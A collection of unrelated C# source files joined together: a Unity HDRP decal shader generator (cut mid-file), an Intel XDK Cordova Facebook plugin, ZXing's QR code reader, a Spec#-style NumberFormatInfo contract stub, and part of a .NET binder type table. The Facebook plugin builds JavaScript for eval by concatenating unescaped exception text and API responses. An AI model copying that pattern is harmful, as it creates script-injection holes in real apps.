BlendOverride = "Blend 0 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 1 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 2 SrcAlpha OneMinusSrcAlpha, Zero OneMinusSrcAlpha Blend 3 Zero OneMinusSrcColor",
ExtraDefines = new List<string>()
{
"#define DECALS_4RT",
},
Includes = new List<string>()
{
"#include \"Packages/com.unity.render-pipelines.high-definition/Runtime/RenderPipeline/ShaderPass/ShaderPassDecal.hlsl\""
},
RequiredFields = new List<string>()
{
"AttributesMesh.normalOS",
"AttributesMesh.tangentOS",
"AttributesMesh.uv0",
"FragInputs.worldToTangent",
"FragInputs.positionRWS",
"FragInputs.texCoord0",
},
PixelShaderSlots = new List<int>()
{
DecalMasterNode.AlbedoSlotId,
DecalMasterNode.BaseColorOpacitySlotId,
DecalMasterNode.NormalSlotId,
DecalMasterNode.NormaOpacitySlotId,
DecalMasterNode.MetallicSlotId,
DecalMasterNode.AmbientOcclusionSlotId,
DecalMasterNode.SmoothnessSlotId,
DecalMasterNode.MAOSOpacitySlotId,
},
VertexShaderSlots = new List<int>()
{
},
UseInPreview = true,
OnGeneratePassImpl = (IMasterNode node, ref Pass pass) =>
{
DecalMasterNode masterNode = node as DecalMasterNode;
int colorMaskIndex = (masterNode.affectsMetal.isOn ? 1 : 0);
colorMaskIndex |= (masterNode.affectsAO.isOn ? 2 : 0);
colorMaskIndex |= (masterNode.affectsSmoothness.isOn ? 4 : 0);
pass.ColorMaskOverride = m_ColorMasks[colorMaskIndex];
pass.StencilOverride = new List<string>()
{
"// Stencil setup",
"Stencil",
"{",
string.Format(" WriteMask {0}", (int) HDRenderPipeline.StencilBitMask.Decals),
string.Format(" Ref {0}", (int) HDRenderPipeline.StencilBitMask.Decals),
"Comp Always",
"Pass Replace",
"}"
};
}
};
Pass m_PassMeshEmissive = new Pass()
{
Name = "ShaderGraph_MeshEmissive",
LightMode = "ShaderGraph_MeshEmissive",
TemplateName = "DecalPass.template",
MaterialName = "Decal",
ShaderPassName = "SHADERPASS_FORWARD_EMISSIVE_MESH",
ZTestOverride = "ZTest LEqual",
ZWriteOverride = "ZWrite Off",
BlendOverride = "Blend 0 SrcAlpha One",
ExtraDefines = new List<string>()
{
},
Includes = new List<string>()
{
"#include \"Packages/com.unity.render-pipelines.high-definition/Runtime/RenderPipeline/ShaderPass/ShaderPassDecal.hlsl\""
},
RequiredFields = new List<string>()
{
"AttributesMesh.normalOS",
"AttributesMesh.tangentOS",
"AttributesMesh.uv0",
"FragInputs.worldToTangent",
"FragInputs.positionRWS",
"FragInputs.texCoord0",
},
PixelShaderSlots = new List<int>()
{
DecalMasterNode.AlbedoSlotId,
DecalMasterNode.BaseColorOpacitySlotId,
DecalMasterNode.NormalSlotId,
DecalMasterNode.NormaOpacitySlotId,
DecalMasterNode.MetallicSlotId,
DecalMasterNode.AmbientOcclusionSlotId,
DecalMasterNode.SmoothnessSlotId,
DecalMasterNode.MAOSOpacitySlotId,
DecalMasterNode.EmissionSlotId
},
VertexShaderSlots = new List<int>()
{
},
UseInPreview = true,
};
public int GetPreviewPassIndex() { return 0; }
private static string[] m_ColorMasks = new string[8]
{
"ColorMask 0 2 ColorMask 0 3", // nothing
"ColorMask R 2 ColorMask R 3", // metal
"ColorMask G 2 ColorMask G 3", // AO
"ColorMask RG 2 ColorMask RG 3", // metal + AO
"ColorMask BA 2 ColorMask 0 3", // smoothness
"ColorMask RBA 2 ColorMask R 3", // metal + smoothness
"ColorMask GBA 2 ColorMask G 3", // AO + smoothness
"ColorMask RGBA 2 ColorMask RG 3", // metal + AO + smoothness
};
private static HashSet<string> GetActiveFieldsFromMasterNode(AbstractMaterialNode iMasterNode, Pass pass)
{
HashSet<string> activeFields = new HashSet<string>();
DecalMasterNode masterNode = iMasterNode as DecalMasterNode;
if (masterNode == null)
{
return activeFields;
}
if(masterNode.affectsAlbedo.isOn)
{
activeFields.Add("Material.AffectsAlbedo");
}
if (masterNode.affectsNormal.isOn)
{
activeFields.Add("Material.AffectsNormal");
}
if (masterNode.affectsEmission.isOn)
{
activeFields.Add("Material.AffectsEmission");
}
return activeFields;
}
private static bool GenerateShaderPass(DecalMasterNode masterNode, Pass pass, GenerationMode mode, ShaderGenerator result, List<string> sourceAssetDependencyPaths)
{
if (mode == GenerationMode.ForReals || pass.UseInPreview)
{
SurfaceMaterialOptions materialOptions = HDSubShaderUtilities.BuildMaterialOptions(SurfaceType.Opaque, AlphaMode.Alpha, false, false, false);
pass.OnGeneratePass(masterNode);
// apply master node options to active fields
HashSet<string> activeFields = GetActiveFieldsFromMasterNode(masterNode, pass);
// use standard shader pass generation
bool vertexActive = masterNode.IsSlotConnected(DecalMasterNode.PositionSlotId);
return HDSubShaderUtilities.GenerateShaderPass(masterNode, pass, mode, materialOptions, activeFields, result, sourceAssetDependencyPaths, vertexActive);
}
else
{
return false;
}
}
public string GetSubshader(IMasterNode iMasterNode, GenerationMode mode, List<string> sourceAssetDependencyPaths = null)
{
if (sourceAssetDependencyPaths != null)
{
// DecalSubShader.cs
sourceAssetDependencyPaths.Add(AssetDatabase.GUIDToAssetPath("3b523fb79ded88842bb5195be78e0354"));
// HDSubShaderUtilities.cs
sourceAssetDependencyPaths.Add(AssetDatabase.GUIDToAssetPath("713ced4e6eef4a44799a4dd59041484b"));
}
var masterNode = iMasterNode as DecalMasterNode;
var subShader = new ShaderGenerator();
subShader.AddShaderChunk("SubShader", true);
subShader.AddShaderChunk("{", true);
subShader.Indent();
{
HDMaterialTags materialTags = HDSubShaderUtilities.BuildMaterialTags(HDRenderQueue.RenderQueueType.Opaque, 0, false);
// Add tags at the SubShader level
{
var tagsVisitor = new ShaderStringBuilder();
materialTags.GetTags(tagsVisitor, HDRenderPipeline.k_ShaderTagName);
subShader.AddShaderChunk(tagsVisitor.ToString(), false);
}
GenerateShaderPass(masterNode, m_PassProjector3RT, mode, subShader, sourceAssetDependencyPaths);
GenerateShaderPass(masterNode, m_PassProjector4RT, mode, subShader, sourceAssetDependencyPaths);
GenerateShaderPass(masterNode, m_PassProjectorEmissive, mode, subShader, sourceAssetDependencyPaths);
GenerateShaderPass(masterNode, m_PassMesh3RT, mode, subShader, sourceAssetDependencyPaths);
GenerateShaderPass(masterNode, m_PassMesh4RT, mode, subShader, sourceAssetDependencyPaths);
GenerateShaderPass(masterNode, m_PassMeshEmissive, mode, subShader, sourceAssetDependencyPaths);
}
subShader.Deindent();
subShader.AddShaderChunk("}", true);
subShader.AddShaderChunk(@"CustomEditor ""UnityEditor.Experimental.Rendering.HDPipeline.DecalGUI""");
string s = subShader.GetShaderString(0);
return s;
}
public bool IsPipelineCompatible(RenderPipelineAsset renderPipelineAsset)
{
return renderPipelineAsset is HDRenderPipelineAsset;
}
}
}
| |
/*
Copyright 2015 Intel Corporation
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the
License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
either express or implied. See the License for the specific language governing permissions
and limitations under the License
*/
using Facebook;
using Facebook.Client;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Navigation;
using System.Windows.Threading;
using Windows.Storage;
using WPCordovaClassLib.Cordova;
using WPCordovaClassLib.Cordova.Commands;
using WPCordovaClassLib.Cordova.JSON;
namespace Cordova.Extension.Commands
{
public class Facebook : BaseCommand
{
private FacebookSessionClient facebookSessionClient;
private FacebookSession session;
private FacebookClient facebookClient;
private string appId = string.Empty;
private string accessToken = String.Empty;
private string facebookId = String.Empty;
private bool busy = false;
public int currentCommand = 0;
public String[] currentCommandArguments;
#region Constructor
public Facebook()
{
GetInfo();
}
#endregion
#region Public Methods
public void login(string parameters)
{
string[] args = WPCordovaClassLib.Cordova.JSON.JsonHelper.Deserialize<string[]>(parameters);
LoginFacebook();
}
public void logout(string parameters)
{
string[] args = WPCordovaClassLib.Cordova.JSON.JsonHelper.Deserialize<string[]>(parameters);
facebookSessionClient.Logout();
string js = "javascript: var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.logout',true,true);e.success=true;document.dispatchEvent(e);";
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
public void requestWithGraphAPI(string parameters)
{
RequestWithGraphAPI(parameters);
}
public void requestWithRestAPI(string parameters)
{
string[] args = WPCordovaClassLib.Cordova.JSON.JsonHelper.Deserialize<string[]>(parameters);
string js = "var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.request.response',true,true);e.success=false;e.error='Facebook REST APIs have been deprecated.';e.raw='';e.data={};document.dispatchEvent(e);";
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
public void showAppRequestDialog(string parameters)
{
ShowAppRequestDialog(parameters);
}
public void showNewsFeedDialog(string parameters)
{
ShowNewsFeedDialog(parameters);
}
public void enableFrictionlessRequests(string parameters)
{
string[] args = WPCordovaClassLib.Cordova.JSON.JsonHelper.Deserialize<string[]>(parameters);
string js = "var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.request.response',true,true);e.success=false;e.error='Facebook Frictionless is not available in Windows 8.';e.raw='';e.data={};document.dispatchEvent(e);";
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
#endregion
#region Private Methods
private async Task GetInfo()
{
StorageFolder FBFolder = await StorageFolder.GetFolderFromPathAsync(Path.Combine(Windows.ApplicationModel.Package.Current.InstalledLocation.Path, "props", "FBAPPID"));
IReadOnlyList<StorageFolder> folders = await FBFolder.GetFoldersAsync();
foreach (var folder in folders)
{
appId = folder.Name;
}
facebookSessionClient = new FacebookSessionClient(appId);
}
private async Task LoginFacebook()
{
Deployment.Current.Dispatcher.BeginInvoke(async() =>
{
try
{
session = await facebookSessionClient.LoginAsync("user_about_me,read_stream");
string js = "";
if (session != null)
{
accessToken = session.AccessToken;
facebookId = session.FacebookId;
facebookClient = new FacebookClient(accessToken);
js = String.Format("var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.login',true,true);e.success=true;e.token='';e.cancelled={0};document.dispatchEvent(e);", "false");
}
else
{
js = String.Format("var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.login',true,true);e.success=false;e.token='';e.cancelled={0};document.dispatchEvent(e);", "true");
}
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
catch (Exception ex)
{
string js = String.Format("var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.login',true,true);e.success=false;e.token='';e.cancelled={0};document.dispatchEvent(e);", "true");
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
});
}
private async Task ShowAppRequestDialog(string parameters)
{
string js2 = "var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.dialog.complete',true,true);e.error='Not implemented in wp8.';e.canceled='true';e.success=false;e.raw='';e.data={};document.dispatchEvent(e);";
InvokeCustomScript(new ScriptCallback("eval", new string[] { js2 }), true);
resetFBStatus();
return;
try
{
string[] args = WPCordovaClassLib.Cordova.JSON.JsonHelper.Deserialize<string[]>(parameters);
//{"to":"appmobi.ryan.5","message":"My Awesome Message","title":"A title for this dialog would go here"}
var oParams = JsonHelper.Deserialize<AppRequestItem>(args[0]);
string request = String.Format("/me/apprequests");
dynamic fbPostTaskResult = await facebookClient.PostTaskAsync(request, oParams);
var result = (IDictionary<string, object>)fbPostTaskResult;
string js = "";
string requestId = result["request"].ToString();
if (requestId != null)
{
string extra = "";
request = requestId;
extra += "e.request=" + request + ";";
if (result.Keys.Contains("to"))
{
JsonArray to = (JsonArray)result["to"];
extra += "e.to=[";
for (int i = 0; i < to.Count; i++)
{
try
{
extra += "\"" + to[i] + "\",";
}
catch (Exception e)
{
}
}
extra += "];";
}
js = "javascript: var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.dialog.complete',true,true);e.success=true;e.error='';e.raw='" + result.ToString() + "';e.data={};try{e.data=JSON.parse(e.raw);}catch(ex){}" + extra + "document.dispatchEvent(e);";
//webView.loadUrl(js);
//resetFBStatus();
}
else
{
js = String.Format("javascript: var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.dialog.complete',true,true);e.canceled='true';e.success=false;e.raw='';e.data={};document.dispatchEvent(e);");
}
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
catch (Exception ex)
{
string js = String.Format("var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.dialog.complete',true,true);e.success=false;e.error='{0}';e.raw='';e.data={};document.dispatchEvent(e);", ex.ToString());
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
}
private async Task RequestWithGraphAPI(string parameters)
{
string[] args = WPCordovaClassLib.Cordova.JSON.JsonHelper.Deserialize<string[]>(parameters);
string path = args[0];
string method = args[1];
string paramss = args[2];
try
{
// additional parameters can be passed and
// must be assignable from IDictionary<string, object>
var fbParams = new Dictionary<string, object>();
//fbParams["fields"] = "first_name,last_name";
dynamic friendsTaskResult = await facebookClient.GetTaskAsync(path, fbParams);
var result = (IDictionary<string, object>)friendsTaskResult;
//string responsestr = result["data"].ToString().Replace("'", "\\\\'");
string responsestr = result.ToString(); //.Replace("'", "\\'");
//responsestr = responsestr.Replace("\"", "\\\\\"");
string js = "var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.request.response',true,true);e.success=true;e.raw=JSON.stringify(" + responsestr + ");e.data={};try{e.data=JSON.parse(e.raw);}catch(ex){alert(ex);}e.error='';document.dispatchEvent(e);";
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
catch (FacebookApiException ex)
{
string js = String.Format("var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.request.response',true,true);e.success=false;e.error='{0}';e.raw='';e.data={};document.dispatchEvent(e);", ex.ToString());
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
}
private async Task ShowNewsFeedDialog(string parameters)
{
string js2 = "var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.dialog.complete',true,true);e.error='Not implemented in wp8.';e.canceled='true';e.success=false;e.raw='';e.data={};document.dispatchEvent(e);";
InvokeCustomScript(new ScriptCallback("eval", new string[] { js2 }), true);
resetFBStatus();
return;
string[] args = WPCordovaClassLib.Cordova.JSON.JsonHelper.Deserialize<string[]>(parameters);
var oParams = JsonHelper.Deserialize<NewsFeedItem>(args[0]);
//var oParams = JsonHelper.Deserialize<object>(args[0].Replace("{", "").Replace("}", ""));
//string[] oParams = args[0].Replace("{", "").Replace("}", "").Split(',');
//{"picture":"http://fbrell.com/f8.jpg","name":"Facebook Dialog","caption":"This is my caption","description":"Using Dialogs to interact with users.","link":"http://xdk.intel.com","message":"My test message!"}
//var postParams = new
//{
// name = oParams.name,
// caption = oParams.caption,
// description = oParams.description,
// link = oParams.link,
// picture = oParams.picture,
// message = oParams.message
//};
try
{
dynamic fbPostTaskResult = await facebookClient.PostTaskAsync("/me/feed", oParams);
var result = (IDictionary<string, object>)fbPostTaskResult;
string postId = result["id"].ToString();
if (postId != null && postId != "") {
string extra ="";
try {
string request = result.ToString();
extra += "e.request="+request+";";
} catch (Exception e1) {
// TODO Auto-generated catch block
//e1.printStackTrace();
}
if (result.Keys.Contains("to"))
{
JsonArray to = (JsonArray) result["to"];
extra += "e.to=[";
for (int i = 0; i < to.Count; i++)
{
try
{
extra += "\"" + to[i] + "\",";
}
catch (Exception e)
{
}
}
extra += "];";
}
string js = "var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.dialog.complete',true,true);e.success=true;e.error='';e.raw='" + result.ToString() + "';e.data={};try{e.data=JSON.parse(e.raw);}catch(ex){}" + extra + "document.dispatchEvent(e);";
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
resetFBStatus();
} else {
// User clicked the Cancel button
string js = "var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.dialog.complete',true,true);e.canceled='true';e.success=false;e.raw='';e.data={};document.dispatchEvent(e);";
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
resetFBStatus();
}
}
catch (Exception ex)
{
string js = String.Format("var e = document.createEvent('Events');e.initEvent('intel.xdk.facebook.dialog.complete',true,true);e.success=false;e.error='{0}';e.raw='';e.data={};document.dispatchEvent(e);", ex.ToString());
InvokeCustomScript(new ScriptCallback("eval", new string[] { js }), true);
}
}
private void resetFBStatus()
{
busy = false;
currentCommand = 0;
currentCommandArguments = new String[] { };
}
#endregion
}
public class AppRequestItem
{
public string to { get; set; }
public string message { get; set; }
public string title { get; set; }
}
public class NewsFeedItem
{
public string picture { get; set; }
public string name { get; set; }
public string caption { get; set; }
public string description { get; set; }
public string link { get; set; }
public string message { get; set; }
}
}
| |
/*
* Copyright 2007 ZXing authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
using System;
using System.Collections.Generic;
using ZXing.Common;
using ZXing.QrCode.Internal;
namespace ZXing.QrCode
{
/// <summary>
/// This implementation can detect and decode QR Codes in an image.
/// <author>Sean Owen</author>
/// </summary>
public class QRCodeReader : Reader
{
private static readonly ResultPoint[] NO_POINTS = new ResultPoint[0];
private readonly Decoder decoder = new Decoder();
/// <summary>
/// Gets the decoder.
/// </summary>
/// <returns></returns>
protected Decoder getDecoder()
{
return decoder;
}
/// <summary>
/// Locates and decodes a QR code in an image.
///
/// <returns>a String representing the content encoded by the QR code</returns>
/// </summary>
public Result decode(BinaryBitmap image)
{
return decode(image, null);
}
/// <summary>
/// Locates and decodes a barcode in some format within an image. This method also accepts
/// hints, each possibly associated to some data, which may help the implementation decode.
/// </summary>
/// <param name="image">image of barcode to decode</param>
/// <param name="hints">passed as a <see cref="IDictionary{TKey, TValue}"/> from <see cref="DecodeHintType"/>
/// to arbitrary data. The
/// meaning of the data depends upon the hint type. The implementation may or may not do
/// anything with these hints.</param>
/// <returns>
/// String which the barcode encodes
/// </returns>
public Result decode(BinaryBitmap image, IDictionary<DecodeHintType, object> hints)
{
DecoderResult decoderResult;
ResultPoint[] points;
if (image == null || image.BlackMatrix == null)
{
// something is wrong with the image
return null;
}
if (hints != null && hints.ContainsKey(DecodeHintType.PURE_BARCODE))
{
var bits = extractPureBits(image.BlackMatrix);
if (bits == null)
return null;
decoderResult = decoder.decode(bits, hints);
points = NO_POINTS;
}
else
{
var detectorResult = new Detector(image.BlackMatrix).detect(hints);
if (detectorResult == null)
return null;
decoderResult = decoder.decode(detectorResult.Bits, hints);
points = detectorResult.Points;
}
if (decoderResult == null)
return null;
// If the code was mirrored: swap the bottom-left and the top-right points.
var data = decoderResult.Other as QRCodeDecoderMetaData;
if (data != null)
{
data.applyMirroredCorrection(points);
}
var result = new Result(decoderResult.Text, decoderResult.RawBytes, points, BarcodeFormat.QR_CODE);
var byteSegments = decoderResult.ByteSegments;
if (byteSegments != null)
{
result.putMetadata(ResultMetadataType.BYTE_SEGMENTS, byteSegments);
}
var ecLevel = decoderResult.ECLevel;
if (ecLevel != null)
{
result.putMetadata(ResultMetadataType.ERROR_CORRECTION_LEVEL, ecLevel);
}
if (decoderResult.StructuredAppend)
{
result.putMetadata(ResultMetadataType.STRUCTURED_APPEND_SEQUENCE, decoderResult.StructuredAppendSequenceNumber);
result.putMetadata(ResultMetadataType.STRUCTURED_APPEND_PARITY, decoderResult.StructuredAppendParity);
}
return result;
}
/// <summary>
/// Resets any internal state the implementation has after a decode, to prepare it
/// for reuse.
/// </summary>
public void reset()
{
// do nothing
}
/// <summary>
/// This method detects a code in a "pure" image -- that is, pure monochrome image
/// which contains only an unrotated, unskewed, image of a code, with some white border
/// around it. This is a specialized method that works exceptionally fast in this special
/// case.
///
/// <seealso cref="ZXing.Datamatrix.DataMatrixReader.extractPureBits(BitMatrix)" />
/// </summary>
private static BitMatrix extractPureBits(BitMatrix image)
{
int[] leftTopBlack = image.getTopLeftOnBit();
int[] rightBottomBlack = image.getBottomRightOnBit();
if (leftTopBlack == null || rightBottomBlack == null)
{
return null;
}
float moduleSize;
if (!QRCodeReader.moduleSize(leftTopBlack, image, out moduleSize))
return null;
int top = leftTopBlack[1];
int bottom = rightBottomBlack[1];
int left = leftTopBlack[0];
int right = rightBottomBlack[0];
// Sanity check!
if (left >= right || top >= bottom)
{
return null;
}
if (bottom - top != right - left)
{
// Special case, where bottom-right module wasn't black so we found something else in the last row
// Assume it's a square, so use height as the width
right = left + (bottom - top);
if (right >= image.Width)
{
// Abort if that would not make sense -- off image
return null;
}
}
int matrixWidth = (int)Math.Round((right - left + 1) / moduleSize);
int matrixHeight = (int)Math.Round((bottom - top + 1) / moduleSize);
if (matrixWidth <= 0 || matrixHeight <= 0)
{
return null;
}
if (matrixHeight != matrixWidth)
{
// Only possibly decode square regions
return null;
}
// Push in the "border" by half the module width so that we start
// sampling in the middle of the module. Just in case the image is a
// little off, this will help recover.
int nudge = (int)(moduleSize / 2.0f);
top += nudge;
left += nudge;
// But careful that this does not sample off the edge
// "right" is the farthest-right valid pixel location -- right+1 is not necessarily
// This is positive by how much the inner x loop below would be too large
int nudgedTooFarRight = left + (int)((matrixWidth - 1) * moduleSize) - right;
if (nudgedTooFarRight > 0)
{
if (nudgedTooFarRight > nudge)
{
// Neither way fits; abort
return null;
}
left -= nudgedTooFarRight;
}
// See logic above
int nudgedTooFarDown = top + (int)((matrixHeight - 1) * moduleSize) - bottom;
if (nudgedTooFarDown > 0)
{
if (nudgedTooFarDown > nudge)
{
// Neither way fits; abort
return null;
}
top -= nudgedTooFarDown;
}
// Now just read off the bits
BitMatrix bits = new BitMatrix(matrixWidth, matrixHeight);
for (int y = 0; y < matrixHeight; y++)
{
int iOffset = top + (int)(y * moduleSize);
for (int x = 0; x < matrixWidth; x++)
{
if (image[left + (int)(x * moduleSize), iOffset])
{
bits[x, y] = true;
}
}
}
return bits;
}
private static bool moduleSize(int[] leftTopBlack, BitMatrix image, out float msize)
{
int height = image.Height;
int width = image.Width;
int x = leftTopBlack[0];
int y = leftTopBlack[1];
bool inBlack = true;
int transitions = 0;
while (x < width && y < height)
{
if (inBlack != image[x, y])
{
if (++transitions == 5)
{
break;
}
inBlack = !inBlack;
}
x++;
y++;
}
if (x == width || y == height)
{
msize = 0.0f;
return false;
}
msize = (x - leftTopBlack[0]) / 7.0f;
return true;
}
}
}
| |
// CodeContracts
//
// Copyright (c) Microsoft Corporation
//
// All rights reserved.
//
// MIT License
//
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
using System.Diagnostics.Contracts;
using System;
namespace System.Globalization
{
public class NumberFormatInfo
{
public string! PerMilleSymbol
{
get;
set
CodeContract.Requires(value != null);
}
public string! CurrencySymbol
{
get;
set
CodeContract.Requires(value != null);
}
public string! NaNSymbol
{
get;
set
CodeContract.Requires(value != null);
}
public string PercentDecimalSeparator
{
get;
set;
}
public Int32[] PercentGroupSizes
{
get;
set;
}
public int PercentPositivePattern
{
get;
set
CodeContract.Requires(value >= 0);
CodeContract.Requires(value <= 2);
}
public int NumberNegativePattern
{
get;
set
CodeContract.Requires(value >= 0);
CodeContract.Requires(value <= 4);
}
public static NumberFormatInfo CurrentInfo
{
get;
}
public int CurrencyDecimalDigits
{
get;
set
CodeContract.Requires(value >= 0);
CodeContract.Requires(value <= 99);
}
public int NumberDecimalDigits
{
get;
set
CodeContract.Requires(value >= 0);
CodeContract.Requires(value <= 99);
}
public int PercentNegativePattern
{
get;
set
CodeContract.Requires(value >= 0);
CodeContract.Requires(value <= 2);
}
public Int32[] CurrencyGroupSizes
{
get;
set;
}
public string! PercentSymbol
{
get;
set
CodeContract.Requires(value != null);
}
public string! PositiveInfinitySymbol
{
get;
set
CodeContract.Requires(value != null);
}
public string! PositiveSign
{
get;
set
CodeContract.Requires(value != null);
}
public string! NegativeInfinitySymbol
{
get;
set
CodeContract.Requires(value != null);
}
public int PercentDecimalDigits
{
get;
set
CodeContract.Requires(value >= 0);
CodeContract.Requires(value <= 99);
}
public string CurrencyGroupSeparator
{
get;
set;
}
public Int32[] NumberGroupSizes
{
get;
set;
}
public string NumberDecimalSeparator
{
get;
set;
}
public int CurrencyPositivePattern
{
get;
set
CodeContract.Requires(value >= 0);
CodeContract.Requires(value <= 3);
}
public string NumberGroupSeparator
{
get;
set;
}
public string PercentGroupSeparator
{
get;
set;
}
public int CurrencyNegativePattern
{
get;
set
CodeContract.Requires(value >= 0);
CodeContract.Requires(value <= 15);
}
public string! NegativeSign
{
get;
set
CodeContract.Requires(value != null);
}
public bool IsReadOnly
{
get;
}
public static NumberFormatInfo InvariantInfo
{
get;
}
public string CurrencyDecimalSeparator
{
get;
set;
}
public static NumberFormatInfo ReadOnly (NumberFormatInfo! nfi) {
CodeContract.Requires(nfi != null);
return default(NumberFormatInfo);
}
public object GetFormat (Type formatType) {
return default(object);
}
public object Clone () {
return default(object);
}
public static NumberFormatInfo GetInstance (IFormatProvider formatProvider) {
return default(NumberFormatInfo);
}
public NumberFormatInfo () {
return default(NumberFormatInfo);
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Diagnostics.CodeAnalysis;
using Microsoft.CSharp.RuntimeBinder.Syntax;
namespace Microsoft.CSharp.RuntimeBinder.Semantics
{
internal struct KeyPair<Key1, Key2> : IEquatable<KeyPair<Key1, Key2>>
{
private readonly Key1 _pKey1;
private readonly Key2 _pKey2;
public KeyPair(Key1 pKey1, Key2 pKey2)
{
_pKey1 = pKey1;
_pKey2 = pKey2;
}
public bool Equals(KeyPair<Key1, Key2> other)
{
return Equals(_pKey1, other._pKey1)
&& Equals(_pKey2, other._pKey2);
}
#if DEBUG
[ExcludeFromCodeCoverage] // Typed overload should always be the method called.
#endif
public override bool Equals(object obj)
{
Debug.Fail("Sub-optimal overload called. Check if this can be avoided.");
if (!(obj is KeyPair<Key1, Key2>)) return false;
return Equals((KeyPair<Key1, Key2>)obj);
}
public override int GetHashCode()
{
return (_pKey1 == null ? 0 : _pKey1.GetHashCode())
+ (_pKey2 == null ? 0 : _pKey2.GetHashCode());
}
}
internal sealed class TypeTable
{
// Two way hashes
private readonly Dictionary<KeyPair<AggregateSymbol, Name>, AggregateType> _pAggregateTable;
private readonly Dictionary<KeyPair<CType, Name>, ErrorType> _pErrorWithTypeParentTable;
private readonly Dictionary<KeyPair<AssemblyQualifiedNamespaceSymbol, Name>, ErrorType> _pErrorWithNamespaceParentTable;
private readonly Dictionary<KeyPair<CType, Name>, ArrayType> _pArrayTable;
private readonly Dictionary<KeyPair<CType, Name>, ParameterModifierType> _pParameterModifierTable;
// One way hashes
private readonly Dictionary<CType, PointerType> _pPointerTable;
private readonly Dictionary<CType, NullableType> _pNullableTable;
private readonly Dictionary<TypeParameterSymbol, TypeParameterType> _pTypeParameterTable;
public TypeTable()
{
_pAggregateTable = new Dictionary<KeyPair<AggregateSymbol, Name>, AggregateType>();
_pErrorWithNamespaceParentTable = new Dictionary<KeyPair<AssemblyQualifiedNamespaceSymbol, Name>, ErrorType>();
_pErrorWithTypeParentTable = new Dictionary<KeyPair<CType, Name>, ErrorType>();
_pArrayTable = new Dictionary<KeyPair<CType, Name>, ArrayType>();
_pParameterModifierTable = new Dictionary<KeyPair<CType, Name>, ParameterModifierType>();
_pPointerTable = new Dictionary<CType, PointerType>();
_pNullableTable = new Dictionary<CType, NullableType>();
_pTypeParameterTable = new Dictionary<TypeParameterSymbol, TypeParameterType>();
}
public AggregateType LookupAggregate(Name pName, AggregateSymbol pAggregate)
{
var key = new KeyPair<AggregateSymbol, Name>(pAggregate, pName);
AggregateType result;
if (_pAggregateTable.TryGetValue(key, out result))
{
return result;
}
return null;
}
public void InsertAggregate(
Name pName,
AggregateSymbol pAggregateSymbol,
AggregateType pAggregate)
{
Debug.Assert(LookupAggregate(pName, pAggregateSymbol) == null);
_pAggregateTable.Add(new KeyPair<AggregateSymbol, Name>(pAggregateSymbol, pName), pAggregate);
}
public ErrorType LookupError(Name pName, CType pParentType)
{
var key = new KeyPair<CType, Name>(pParentType, pName);
ErrorType result;
if (_pErrorWithTypeParentTable.TryGetValue(key, out result))
{
return result;
}
return null;
}
public ErrorType LookupError(Name pName, AssemblyQualifiedNamespaceSymbol pParentNS)
{
var key = new KeyPair<AssemblyQualifiedNamespaceSymbol, Name>(pParentNS, pName);
